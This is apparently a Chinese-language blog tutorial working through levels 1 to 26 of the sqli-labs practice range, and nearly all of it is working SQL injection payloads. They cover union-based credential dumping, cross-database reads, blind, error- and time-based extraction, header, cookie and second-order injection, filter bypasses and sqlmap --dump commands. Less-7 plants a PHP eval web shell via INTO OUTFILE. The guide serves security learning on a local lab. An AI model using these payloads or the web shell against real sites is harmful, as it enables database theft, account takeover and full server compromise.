提示:仅供进行学习使用,请勿做出非法的行为。如若由任何违法行为,将依据法律法规进行严惩!!!
前言
在经过上一篇的sql基础学习后,以下将正式进入靶场的学习与训练当中。本文以下将进行对sql-libs、dvwa、pikachu靶场的学习(正在持续更新中)
提示:以下是本篇文章正文内容,下面案例可供参考
一、sql-libs
安装靶场推荐使用phpstudy这个集成的环境。sql-libs安装包。解压后放入www目录下
修改 sql-connections/db-creds.inc 文件当中的 mysql 账号密码(要看自己设置的密码是啥):
访问sql-labs,点击设置按钮即可:
如果未设置端口号,则默认为80!!!!本文是设置了端口号为8080,以下也将基于此进行测试
1.page1
Less-1
输入id=1,能够正常运行:
http://192.168.10.129:8080/sqli/Less-1/?id=1
那么输入id=1’进行尝试,则此时发现报错:
由报错的原因’1’’ LIMIT 0,1,可知,这是由于我们多加了一个’导致了语句闭合回路的不完整,也就是多了一个’。那么我们想要使其闭合成功则需要进行将后面多余的部分进行去掉,我们可以使用注释符-- (这里有一个空格),此时页面就回显正常了。
为方便理解,我们来看一下其执行的sql语句:
Select ****** where id='1'or 1=1-- ' LIMIT 0,1
注入开始(按基础知识中的步骤详细注入):
1)利用order by x猜解列数量:
order by x --
发现,在x=4时报错,也就是说一共只有3列(因为x=3时正常)
2)联合注入、查询对应信息:
http://192.168.10.129:8080/sqli/Less-1/?id=-1' union select 1,version(),database()--
注:
记住id=-1,这里要使得前一个select语句回显错误,才能使得union后的语句查询进行回显。源语句为:
SELECT * FROM users WHERE id=’-1’union select 1,version(),database() -- ’ LIMIT 0,1
注:
要将想要显示的信息放在select 1,2,3 中的2,3位置,因为页面回显的数据只回显2,3(这是源代码决定的)
根据对应的函数(余下自己实验),查出当前数据库为security,用户为root。
3)列出表名:
http://192.168.10.129:8080/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--
4)发现users是我们所需的表,对users爆出列;
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--
5)显示数据:
' union select 1,group_concat(username),group_concat(password) from users--
此时,注入完成!!拿到了用户账户及其密码。后续,该部分将不会详细说明了。
Less-1-拓展(跨库攻击)
当我们得知了用户发现是root权限后,我们可以进行以下的跨库攻击:
1)获取所有的库名:
' union select 1,group_concat(schema_name),3 from information_schema.schemata --
2)进入dvwa库,查询表名:
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='dvwa' --
3)查询对应的表下的字段:(要用and!!!连接)
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='dvwa' --
4)查询数据:(库.表)
' union select 1,group_concat(username),group_concat(password) from dvwa.users --
Less-2
按照1的思路,首先加入’:
此时,发现页面报错。查看报错原因:’ LIMIT 0,1 。此处可知,这是由于我们多加了一个’的原因,数据库中查询的语句如下:
Select * from TABLE where id = 1’ ;
因此,判断出该处注入点是数字型,且未加引号进行闭合。故对于该处的注入,我们可以直接进行操作,而不需加任何的符号,在id=1后直接加入语句即可。获取数据的过程和1一致,仅仅删去’即可, 此处不在赘述。
order x–-
Less-3
尝试输入id=1’ ,发现爆出错误如下:
#错误原因如下:
'1'-- ') LIMIT 0,1
若继续输入id=1’’ –
则会返回成功,但是加上order by x 的话,不管x为几发现都是输出页面是id为1的页面,因此,进行查看以及输出源代码:
#php中语句:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
#实际执行的sql代码为:
SELECT * FROM users WHERE id=('1'' order by 756564444 -- ') LIMIT 0,1
#由此,可知,id内部形成了两个条件,即查询id=1 和id=order by 两个条件。
#因此该注入点需要用')来进行闭合
可以成功注入的如下:使用’)就可以注入了(其余的和1一致)
') and 1=1 --
Less-4
输入id=1’ ,成功;
输入id=1’‘,成功;(此处是两个单引号’)
输入id=1",报错(此处是双引号")
#报错原因
"1"") LIMIT 0,1
经过了上述的训练后,可以发现此处是由于代码中利用了(“$id”)来进行包装数据的,因此使用以下方式进行注入:
?id=1") –-
`提示:以下部分为盲注
Less-5
布尔盲注
首先输入id=1后,发现返回的是you are in…,并未像之前一样返回了具体数据,因此可以判断是盲注类型的注入!
那么首先判断是否有闭合回路,在没有源代码的情况下,可以先逐一测试,输入:
id=1
id=1'#此时发现页面报错,原因为'1'' LIMIT 0,1,因此可以看出源代码的是用''进行闭合的
爆库:
可以利用如下语句。left(version(),1)=5表示数据库的版本号的第一位是否为5,若为则返回正确页面,否则返回错误的页面。
id=1' and left(version(),1)=5 --
还可以利用length来判断数据库长度:
id=1' and length(database())=8 --
如何想要具体得出数据库名,就利用left一步一步的猜测即可。
注:
1、可以首先用left(database(),1)>a这种大于的形式来进行判断。即我们可以通过此大于与小于的符号,利用二分法来提高注入的效率。
2、当left的第二个参数大于1时,不能仅仅只用一个字母表示,因为left函数的意思是从当前字符串的左边开始到达参数指定的位置,也就是说当数据库为security时,left(database(),2)='se’才会返回正确结果!!
爆表:
首先要解释一下以下几个参数:
limit 0,1 #意思是从0个开始,获取第一个
substr(xxx,2,1)#意思是从字符串xxx的第2个字符开始,截取1个
因此,可以利用以下语句进行获取表名:
http://192.168.10.129:8080/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--
limit 0,1就代表第一个表,即email这个表。若想第二个表则需写为limit 1,1。
substr(xx,1,1)代表第一个表的第一个字符。
因此,若有空则自己一步一步的尝试出来吧 ^ _ ^ 笔者到此为止,因为若不是提前知道这将会极大的消耗时间的!!!
爆列:
首先,了解以下函数:
查找content字段中包含“车友俱乐部”的记录
select * from club_content where content regexp ‘车友俱乐部’
查找content字段中以“车友”开头的记录
select * from club_content where content regexp ‘^车友’
1 ^ 匹配以该字符后面的字符开头的字符串
举个例子: REGEXP ‘^x’ 表示匹配以x开头的字符
2 .匹配任意一个字符
3 […]匹配在方括号中的任意一个字符。
如: [1-9] 匹配1到9的数字, [abc]匹配其中任意一个
4 匹配零个或多个在它前面的字符
若找到匹配则返回true,否则返回false
具体参考该博文:https://blog.csdn.net/qq_40732278/article/details/117961688
在了解以上的函数后,可以构造如下语句进行判断是否有该表:
id=1' and 1= (select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) --
#判断是否有username开头的列,如有则返回1,形成 id=1' and 1=1
小作业:自己尝试以下是否有password这个列吧
爆数据:
ord 与 ascii一样是将字符转化为ascii值的
mid(a,b,c) 是指从b开始,截取字符串a的c长度
IFNULL(expr1,expr2),如果expr1的值为null,则返回expr2的值,如果expr1的值不为null,则返回expr1的值
CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型。CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。
语法:CAST (expression AS data_type)
使用如下语句:
1' and ord(mid((select ifnull(cast(username AS char),0x20) from security.users order by id limit 0,1),1,1))=68 --
进行判断username下的第一行数据的第一个字符的ascii值。想要获取所有数据,只需依次进行判断即可。
总的来说,如果使用布尔盲注的话是相当麻烦的,因此我们只需了解以下具体的使用方法,以便我们可以自己写脚本进行跑!!!
报错盲注
1)updatexml,利用xpath报错:
id=1' union select 1,2,updatexml(1,(concat(0x3a,(select user()),0x3a)),1) --
updatxml原理这里就不讲了,感兴趣的同学自己查一下原理以及用法格式!!想要修改直接该中间select语句即可!
2)floor报错:
floor(): 去除小数部分
rand(): 产生随机数
rand(x): 每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可预测的
select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表)
这里解释一下x是什么意思,可能有些同学不太熟悉sql语句,floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,就是x就等于floor(rand(0)*2),
这样做的目的是让group by 和 floor(rand(0)*2)相遇(请原谅我这么解释).
以上摘自博文:https://blog.csdn.net/qq_43504939/article/details/90046342
想要具体了解为什么报错的可以参考。
具体注入语句如下:
(主要还是基于count(*)与group by floor(rand(0)*2)之间的报错。)
id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --
想要修改直接该中间select语句即可!
3)重复注入
id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --
但是这个好像只能查询版本
延时注入
http://192.168.10.129:8080/sqli/Less-5/?id=1' union select if(substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 second')),null),2,3 from (select database() as current) as tb1 --
当成功执行时,便会发现等待一段时间。
sqlmap
因为手工注入,需要花费大量的时间进行尝试,因此可以直接使用sqlmap进行脚本测试:
测试是否有注入点:
python3 sqlmap.py -u http://192.168.10.129:8080/sqli/Less-5/?id=1'
直接一步到位:
python3 sqlmap.py -u http://192.168.10.129:8080/sqli/Less-5/?id=1' --current-db --dump
Less-6
尝试id=1’ id=1’’ id=1’‘’ 后,发现这三种情况都对,说明了源代码中肯定利用了什么符号将这些都闭合上了,使得1’ 1’’ 1’''这三个都被看成了字符串。因此,我们再尝试一下其他的闭合回路的符号如" (双引号),此时就发现报错了:
错误原因为
“1"” LIMIT 0,1
因此可以确信源代码确实用的是""来闭合。
其他的注入步骤和Less-5一致了,不再赘述。手工注入的话还是利用xpath法最方便。如下:
http://192.168.10.129:8080/sqli/Less-6/?id=1"union select 1,2,updatexml(1,(concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a)),1) --
Less-7
首先,需要判断闭合回路的方式:
输入id=1’ 时候页面报错说明,闭合条件中有’,原因如下:
代码中语句为id=‘$id’时,若输入1’’ 则带入代码中就为’ 1" ‘这是’ ‘形成闭合回路,默认1”就为一个字符串故页面是不会报错的。因此,只有当输入1’时才会破坏闭合的回路。
此时,加入注释符后发现依旧报错,说明了除了’ ’ 外还有括号进行了闭合,因此一直加括号到不报错为止:?id=1’)) –
还可以继续测试 and 1=2 以及and 1=1 进行测试。
现在开始导入,语句如下:(记得替换自己的路径)
id=1')) union select 1,2,3 into outfile "C:\\Users\\你自己的用户名\\Desktop\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\hack.txt"--
此时,页面虽然报错,但是已经导入,可以提高url进行访问看看:
可能有人会问,导入有什么用???那当然是如果拥有的是管理员权限可以直接导入webshell。例如,如下导入一句话木马:
-1')) union select 1,2,'<?php @eval($_REQUEST["hack"]) ?>' into outfile "C:\\Users\\Yuan\\Desktop\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\hack.php"-- --
eval()是php的远程调用shell的函数 ;
$_REQUEST 是以REQUEST形式提交;
hack 就是密码。
此时,说明导入成功,而后利用蚁剑连接即可:
此时,就可以想干嘛就干嘛了 ^ _ ^
Less-8
首先还是老问题,判断闭合回路输入id=1’此时发现页面出错,且不回显了,从这以及可以大致判断出其代码中的闭合回路是’ ’ 为进一步确认继续输入如下语句进行确认:
id=1' and 1=2 --
id=1' and 1=1
若第一句报错,第二句正常则完全可以代码的闭合回路是’':
然后由上述可知:因为报错不回回显了,故使用xpath的方法不能使用了,如下图:
因此这里需要用到的是延时注入(布尔注入也可以,依据页面是否正常进行判断):
#判断当前数据库的第一个名称
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(500)) --
#判断当前数据库下的表的第一个名称
select 1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=115,1,sleep(500));
建议,如果可行可直接使用sqlmap跑,比较方便。此时的sqlmap会进行延时注入,结果将一一呈现的:
Less-9
首先输入id=1’ id=1" 等等发现无论怎么样页面都回显正常。那么难道这部分就没有注入点了吗?
其实并非如此,页面之所以呈现出如此,是因为代码中做了这不分的设定,以此来防止攻击者对于页面不正常等等来判断出其由注入点。
因此,本部分可以利用延时注入进行判读。
id=1' and sleep(10)--
输入上述代码后,发现页面加载速度明显延迟了,因此可以判断出其闭合的部分就是’ '。此时可以进行注入了,具体过程不再贴图,仅提供部分注入代码,供读者自行尝试与修改:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))-- s的ascii为115
?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5))-- e的ascii为101
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(500))-- 判断第一个表的第一个字符是e,以此类推得出emails
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,1,sleep(500))-- 判断第二个表的第一个字符是r,以此类推得出referers
因此只需修改substr中的内容即可。不太懂的可以回去在看一下Less-5部分。
Less-10
首先,也是大量的测试后发现这与第9关一样,因此我们必须在后面加上and sleep()才能测试。
因此进行尝试:
id=1’ and sleep(5) -- 失败
id=1" and sleep(5) -- 成功
故闭合回路是" " 。具体获取的步骤和9一致,不再赘述。
Less-11
首先由题目可知,本题及之后的注入为post注入。以下将简述以下什么是post:就是指将数据从客户端提交到服务端,比如本题中的登录页面,就可以利用post将用户名以及密码以表单形式进行提交。
至此开始注入:
首先,想起之前在基础知识篇中提到的万能密码:’ or 1=1 # 那么接下来试一下是否可行呢?
(为方便理解后续,本人对源代码进行了修改,使得我们可以看见具体的sql语句)
admin' or 1=1 #
发现这部分输出的用户是dumb而非admin。那么更改语句如下:
admin' or '1'='1 #
此时,页面就出现了登录用户为admin。具体原因是为啥呢?本人经过在数据库下进行尝试后,发现这两条语句的执行结果不一致:
经排查后发现是由于源代码中对username输入部分具有’ '进行闭合,而在第一个语句当中如果直接使用1=1,那么后面的部分就会被注释起来,前面username部分就会相当于一个true结果(也就是username=‘admin’ or 1=1部分执行结果为1,那么语句where就是执行了where 1)因此会进行查询所有结果出来。
而第二部分语句呢,因为加了and ‘1’=‘1部分而使得1#就变成一个整体字符串,而#并没有起到注释的作用,如图:
因此,若把1#看出某字符串A,则语句变成了where username=‘admin’ or ‘1’=‘A’ and …此时就要按照优先顺序进行判断(and先判断)
这地方切记要注意区别(如果有的话)
然后这部分可以进行注入语句,按照之前学的顺序先判断列数量:(注意username部分一定要写错,不然直接返回正确的admin结果)
1admin' order by 3 #
因此列数量为2.进行查询数据等等操作:
1admin' union select 1,database()#
由此可以看出能进行爆数据了。要是不熟的同学参考之前的步骤继续再手工注入一次,本文为不再演示了。(详情看Less-1 有具体步骤)
Less-12
输入admin’ 发现没有反应;那么输入admin"发现报错了且错误信息回显了很棒!
让我们看看错误信息来判断一下闭合回路:
"admin"") and password=("") LIMIT 0,1
由此可以看出,闭合的回路是"),那么就可以基于这个闭合回路来直接万能密码,本次可以直接选择注释即可:
admin")#
想要爆库就在这个基础上进行修改即可。
Less-13
还是按照上面的先确定闭合回路哈。输入admin’ 发现报错,太好了! 然后让我们看看错误信息:
'admin'') and password=('') LIMIT 0,1
从这里可以看出闭合回路是’)。那么尝试一下万能密码:admin’) #,然后发现页面执行成功,但不会回显数据了:
试试看xpath路径的报错:
admin') union select 1,updatexml(1,(concat(0x3a,(select database()),0x3a)),1)--
发现利用updatexml报错注入是可行的,因此我建议使用这一个方法是较好的手工注入。
为扩展,我再讲一下其他方法:
布尔注入:
admin') and left(database(),1)='s' --
admin') and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e' --
(剩下的自己再尝试了,本处提供两句sql语句,不懂的看Less-5)
延时:
admin') and if(ascii(substr(database(),1,1))=115,1,sleep(5))--
然后,如果有时间就继续把数据爆破一遍吧!
Less-14
输入admin" 后发现报错了,查看报错信息:
"admin "" and password="" LIMIT 0,1 #确认了闭合回路确实是" "
因此,接下里将利用admin“进行注入
admin" union select 1,updatexml(1,concat(0x3a,(select user()),0x3a),1) --
Less-15
一开始随便加上任何的闭合回路发现,都不会有报错回显,因此可以确认本关是不会进行报错的,既然如此可以利用延时注入首先来确定闭合的符号:
通过输入以下两个语句,并感受时间差来确定:
admin' and sleep(5)#
admin" and sleep(5)#
确认得到,闭合回路是’ '。而后,可以利用延时注入进行判断:
admin' and if( ascii( substr( (select user()),1,1) )=114,1,sleep(5) )#
具体步骤参照Less-5进行一步一步参照。
Less-16
与15类似,一个个尝试,最终发现为:
admin") and sleep(5)#
其他的和15一样不再赘述,当然还是建议使用sqlmap利用脚本进行注入。
首先大致了解以下:insert,delete,update的用法(详细的自己搜,CSDN上一大把)
1、insert into 【table】 values 【按照该表的列名填入值】
例:
insert into users values (‘1‘,’xxx’,‘xxxx’);
2、delete from 【table】 where 【正则表达式】;drop 【database/table】 【名字】
例:
delet from user where id= 1;
3、update 【table】set 【对应列】=【值】 where 【正则表达式】
例:
update users set username=‘yuan’ where id=1;
Less-17
打开第17关,发现这关是修改密码的页面:
首先,若如果没注意对着username进行注入的话会发现如下页面:
而若对password进行注入测试,输入1’时发现:
页面出现回显报错,提示了闭合回路应为 ’ ’ ,那么继续对这部分使用xpath报错注入:
-1'and updatexml(1,(concat(0x5c,(select database()),0x5c)),1)--
注:
1、此处不能使用select这个语句;
2、此处不能对username注入
为方便解释上述提出的问题,我将源代码贴在下图当中:
由源代码可知:
1、本处更新的地方执行的是update语句而非之前的select语句,因此不能使用之前的union联合select语句进行输出了!
2、由由于源代码中对于username部分使用了一个函数check_input进行检查,并过滤掉,并将一些特殊字符进行了转义,因此我们输入的‘ “等等都被直接进行了转义,因而使得我们无法通过常规手段对username处进行注入:
因此,我们只需要对passwrod处利用xpath报错注入进行sql注入即可,详细步骤不再赘述。
再次介绍以下http头部各参数,进行回忆以下:
1、Accept:告诉web浏览器自己接受什么介质类型:*/*代表所有类型,type/*表示接受该类型下的所有子类型,如:type/sub-type;
2、Accept-Charset:浏览器申明自己接受的字符串;
3、Accept-Encoding:接受的语言;
4、Accept-Ranges:web服务器表明是否接受获取其某个实体的一部分(例如文件的一部分)的请求。bytes:表接受,none:表拒绝;
5、Age:当代理服务器用自己缓存的实体去向右请求时,用此标识该实体从产生到现在所经历的时长;
6、Authorization:身份验证信息;
7、Cache-Control:
请求:
no-cache:不要缓存实体,直接去服务器取;
max-age:只接受age值小于max-age的值,且没有过期;
max-stale:接受过期的值,但是过期时间小于max-stale;
min-fresh:接受新鲜生命介于age与min-fresh之间的;
响应:
public:可用cache回应任何用户;
private:只能用缓存内容回应请求该内容的用户;
no-cache:可以缓存,但是只有在跟web服务器验证有效后才能回应;
max-age:包含对象的过期时间;
ALL:
no-store:不允许缓存。
8、Connection:
请求:
close:告诉服务器本次响应后就断开连接;
keepalive:继续保持连接;
响应:
close:连接已关闭;
keepalive:连接保持,等待后续请求
9、Content-Encoding:服务器表明自己使用的压缩方式;
10、Content-Language:服务器表明使用的语言;
11、Content-Length:服务器告知响应对象长度;
12、Content-Rang:服务器表明使用对象为整体对象的哪个部分。bytes:21010-47021/47022
13、Content-Type:服务器告知响应对象的类型,如application/xml;
14、ETag:一个对象的(比如URL)的标记值;主要是判断一个对象是否发送了改变;
15、Expired:服务器表明实体将在什么时候过期;
16、Host:客户端指定自己想要访问的web服务器地址;
17、if-Match:如果对象的ETag未发生改变,才执行请求当作;
18、if-None-Match:ETag发生了改变,代表对象改变了,此时才执行请求的动作;
19、if-Modified-Match:如果请求对象在头部指定的时间之后才修改,则执行请求动作,负责返回304;
20、if-Unmodified-Since:对象在头部指定时间过后没修改过,则执行请求动作;
21、id-Range:浏览器告诉web服务器,如果我请求的对象没有改变,酒吧我缺少的部分给我,如果对象改变了就把整个部分一起给我;
22、Last-Modify:服务器认为对象的最后修改时间;
23、Location:服务器告诉浏览器,试图访问的对象移到别的位置了;
24、Pramga:主要使用Prama:no-cache就相当于Cache-Control: no-cache;
25、Proxy-Authenticate:代理服务器响应浏览器,提供代理浏览器的身份验证信息;
26、Range:浏览器告诉web服务器自己想取的对象在哪一个部分;
27、Referer:浏览器告诉web服务器自己是从哪跳转过来的;
28、Server :web服务器表明自己是什么软件及版本信息等;
29、User-Agent:浏览器表明自己是什么浏览器(如谷歌);
30、Transfer-Encoding:服务器表明自己对本响应消息体的编码是什么;
31、Vary:服务器利用头部信息告诉cache服务器,在什么条件下才能用本响应头所返回的对象响应后续请求;
32、Via:列出从客户端到OCS或者相反方向的响应经过了那些代理服务器,用什么协议发送的请求。
Less-18
输入admin与1’#后发现并没有什么报错信息,且页面返回了你当前的IP信息,如下图所示:
经过多次输入测试后发现,在源代码中应该是对username与password都做了检测,因而就会使得你输入的特殊字符都会被转义。为了验证这个猜想,查看了本关的源代码:
因此,我们需要利用其他地方进行注入!!那么我们再来看看页面返回的信息,发现我们的ip地址被页面捕捉了,那么我们可以判断得出,这是由于服务器端读取了我们发送的数据包里Host的内容导致的。那么我们可以测试以下修改包里的host,结果发现修改后是无法访问的因此利用host注入似乎不太行!
而后,我输入了正确的账户密码即:admin和1(1是密码,好像是因为前面题目我把它修改成1了不知道自己密码的可以自己尝试一下),任何就发现页面出现了新的东西:
也就是说服务器把你的user—agent读取了出来,那么考虑一下我是否能利用agent进行注入呢?于是乎,我接下来首先对user-agent(在burp或者hackerbar中可以修改)进行了修改尝试,我将它的值改成了helloworld后,发现页面也跟着进行了变动:
于是乎,我便可以在这里进行注入的动作:
首先输入’发现报错了,那么判定闭合回路是’ ‘。然后输入’ #依旧报错那么可以假设这可能不是select语句,因为类似insert、update这种语句变量是可能作为value出现的,而value必须要匹配的上前面设置插入的字段。而在select当中变量通常是作为where这种正则表达式出现的因此就算注释掉也不影响语句的正确性。可能有些抽象,没事,让我们看一下源代码:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
如上述原代码中,执行的sql语句是insert。那么insert插入的表中字段是包含了uagent、ip_address、username这三个字段的,因此在value中必须要匹配上这三个字段才行。如在agent中写入该语句便不会有错误信息:
因此,我们需要做出一个完整的闭合,且不影响后续的的两个value值,输入‘ and ’1‘=’1 这个语句即可。然后根据此,进行xpat爆错注入:
' and updatexml(1,concat(0x3a,(select database()),0x3a),1) and '1'='1
通过对服务端查看才了解到本关主要是为了插入User-agent到uagent表中的:
然后在这里提出各疑问:根据前文所诉的,要想看到页面爆出的user-agent信息,首先需要输入正确的用户名及密码,如果是在真实网站中,怎么可能知道呢?
对于这个问题我的回答是:如果是需进行登录的话,那么我们可以自己申请创建各普通的用户然后利用这个普通的用户进行注入就可以了,如上图中我就可以利用yuan这个账号进行登录。这一关呢,你也可以去利用普通用户的账号密码进行注入测试,这里不再赘述。
Less-19
进入第19关,发现和第18关貌似很像,那么继续尝试一下相同的思路看看?
输入账号密码后,页面如下图:
发现,这里是referer回显,那么我们就在这里进行注入吧!!!
' and updatexml(1,concat(0x3a,(select database()),0x3a),1) and '1'='1
' and updatexml(1,concat(0x3a,(select @@basedir),0x3a),1) and '1'='1
该语句还可以爆出路径,这里我们可以利用这路径进行上传webshell之类的。
Less-20
首先,设置burp进行抓包,然后输入对应的账号密码。通过burp包发现居然发送了两个包,一个post包,一个get包,把他们放到repeater中,进行测试发送,发现进行响应了两个不同的页面:
由此,可知提交流程应该是首先提交post,然后由oost获取了uname在赋予cookie,此时再用新的cookie以get方式进行提交,因此,我们可以在post中修改cookie也可以在get中进行修改。
如果有,则直接执行后半部分,如果没有则先以post提交,然后服务器在进行对该部分处理,将uname的值放入cookie中,然后利用header函数进行以get提交:
因此,当我们使用hackebar工具时候,直接在cookie处加上uname的话可以直接就医post包进行发送了,而不用二次处理为get包再发送一次。
具体的地方小伙伴们自己利用burp抓包测试
最后测试的注入如下:
uname=admin' and updatexml(1,concat(0x3a,(select @@basedir),0x3a),1) and '1'='1
此处在cookie中一定要把uname写入,因为数据包格式的uname=xxxxx,然后代码中会识别到cookie中uname后,在将uname=的值复制到变量中进行sql语句的注入。
Less-21
一样先输入正确是账号密码,然后发现页面回显如下:
仔细一看,发现已经对用户名编码了。那么由于因为在客户端提交的两个页面中,post部分是未编码的,而get部分已经编码了,那么是否可以直接利用post这部分页面进行未加密注入呢?
答案是不行!因为原代码中有如下语句:
因此如果不编码的话是无法执行下面那条sql语句的,因此结果会如下图:
因此,还是需要进行base64编码的,利用hackbar工具进行编码:
uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IEBAYmFzZWRpciksMHgzYSksMSkgYW5kICcxJz0nMQ==
Less-22
按照之前的我们首先在cookie处写入uname=admin’#进行判断并进行编码,发现数据并未回显,因此猜测很可能是闭合回路的问题,因此改一下看看,输入admin"#然后发现页面回显成功了,yeap非常指容易,接下来就以admin"进行注入:
原语句:
admin'"and updatexml(1,concat(0x3a,(select @@basedir),0x3a),1)#
实际注入到cookie处的语句:
uname=YWRtaW4nImFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IEBAYmFzZWRpciksMHgzYSksMSkj
2.page2
Less-23
本关打开后,直接利用hackbar,输入id=1’后就发现爆错了:
'1'' LIMIT 0,1
由此可以看出,代码的闭合回路是’ '。且爆错信息中一目了然的看出了本文件的路径,因此还可以利用此进行目录穿越!
继续进一步使用id=1’ and 1=1#,发现页面还是爆错了,但是通过这个页面可以大致猜测出sql语句应该是select语句,那么为什么使用#注释符后依旧会出错呢?
那么为方便直观的理解与学习,我们将后台代码的sql语句进行输出一次来判断原因:
凭借此轻易的发现原因是因为后台代码过滤了# – 等注释符所导致的。那么针对其的解决方法将闭合回路直接补充完整,例如输入?id=1’ and ‘1’='1
从图中看出已经闭合完成了。那么接下来开始进行注入测试:
?id=-1' order by 3 and '1'='1
?id=-1' union select 1,database(),'3
注:
这里前面的id最好设置为-1,这是因为后面原语句中有limit 0,1限制了输出的数据只能为一个,若id=1正确了则后面的数据就无法输出了。
其次’3是为了闭合回路使用的,可以参考图上的那条输出的语句!!!
那么这里又有一个问题,即既然注释符被过滤,我们需要用’3进行闭合使得最后的语句为’3‘ 那么我们在union中的联合注入里要如何写入from xxx where xxxx呢? 正常情况下是会被 ’ ’ 这个闭合当成一个字符串的,可以自行测试!!这里我将提出内嵌的方法进行解决:(下面加粗的就为嵌入部分)
1、爆表:
http://192.168.10.129:8080/sqli/Less-23/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
2、爆列:
http://192.168.10.129:8080/sqli/Less-23/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),‘3
3、爆数据:
http://192.168.10.129:8080/sqli/Less-23/?id=-1’ union select 1,(select group_concat(username) from security.users),'3
经过以上三步,大家应该能够了解是如何进行嵌入select语句了,不熟练的一定要自己动手打一下,不要图方便喔 ^ _ ^
首先需要大家了解一下二次注入是什么: 二次排序注入也称之为存储型注入,有点类似XSS(我自己认为的)。即hack将导致sql注入的语句存入到数据库当中(常在注册里见到),当服务器端再次调用该数据时,就会触发之前存取的sql语句进而导致了执行!
1、hack通过构造数据的方法,在web页面或者其他地方提交了http数据报文请求(内含sql注入语句)到服务器当中;
2、服务器响应web端的http请求,将信息存入数据库当中(之所以存入,是因为后续可能会对其他功能或请求的客户端进行响应,如注册的新用户等等);
3、hack利用web再次发送一个与第一次发送的http报文不一致的http请求;
4、服务器端收到后,进行响应,调用之前存储的数据信息,因此会触发之前存储的sql语句;
5、服务器端返回处理结果,hack注入成功。
Less-24
点击注册按钮,进入到如下页面:
输入用户名为:admin’# 密码随意,(我的是111),注册:
现在看一下后端的数据库里的信息:
可以看到我们注册成功,然后登录刚刚的用户,在下面的页面中更改密码:输入新密码为yuan:
此时,我们再打开后端的数据库,就可以看到admin密码被我们更改了:
然后我们就可以在原页面,登录admin账户了。为方便理解,我把源代码中的sql语句贴出来以供大家理解:
由图中输出的sql可以看出,执行的失去了语句为如下:
UPDATE users SET PASSWORD='yuan1' where username='admin'#' and password='111'
即上面灰色的部分’ and password='111’就是被注释了,因此where正则表达式选择的部分就是admin。
以上便解释完了二次注入型,怎么样好玩吧,嘿嘿嘿。
Less-25
输入?id=1’ 发现页面出错了,很好证明还是用’ ’ 进行闭合的。继续进行如下尝试:?id=1’ order by 3#
发现页面出现如下错误:
错误原因:der by 3’ LIMIT 0,1 ,发现了吗?和我们输入的不一样的地方在于这里order少了or,那么大致判断出是对or and进行了过滤。(还可以自己对or 1=1 #等等进行测试)
那么要如何进行注入呢?一般是通过绕过,主要的绕过思路:
1、大小写:oR、OR、Or;
2、双写:oror、oorr;
3、编码:利用HEX、URLENcode等等;
4、添加注释:/* or */
5、利用计算机语言: and可以换成 && ,or可以换成 ||。
输入,?id=1’ || 1=1# 或者?id=1’ || 1=1-- 发现页面还是爆错,那么估计这里还对注释符进行了过滤,因此,我们可以换注释符如–+或者对#进行urlencode编码,转化为%23,而后便成功了:
接下来,输入注入语句:
?id=1' || updatexml(1,concat(0x3a,(select database()),0x3a),1) --+
除此之外,用最朴素的方法也是可行的:
?id=-1' union select 1,database(),3 --+
同样要注意注释符的过滤问题!!
Less-25a
本题首先输入id=1’ 发现页面出错,但没有回显错误信息,因此大概率是无法使用xpath爆错回显的。
由于mysql的特性,因此假设在 ’ ‘回路中输入 ’ 1 and 1=2’ 那么结果依旧还是对出现id=1的结果:
但按照逻辑判断来说这里应该页面会出错,因此可以用这个来判断我们输入的语句是否在闭合回路中以及发现是否有注入点,因此,接下来我直接使用:
?id=-1 || 1=2 --+ 出错
?id=1 || 1=2 --+ 正常
这里我的sql-lib有些小问题,它这一关貌似把我的and以及&&都直接过滤了,需要将&&利用urldecode进行编码才能被接受!!!(以下注意看返回页面的sql语句就可以看出来直接使用&&是不会被接受的)
由以上,我判断出了这里确实是数字型注入,且会过滤掉or 与and以及无法使用爆错回显来做,因此我们可以直接使用联合注入或者延迟注入:
?id=-1 union select 1,database(),3 --+
Less-26
本关是过滤掉了空格、or、and、注释符等等。因此,当我们判断出闭合回路是使用 ’ ’ 后我们需要早后面进行构造回路使得整体的语句进行闭合。
以下提供一些绕过空格的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB (垂直)
%a 空格
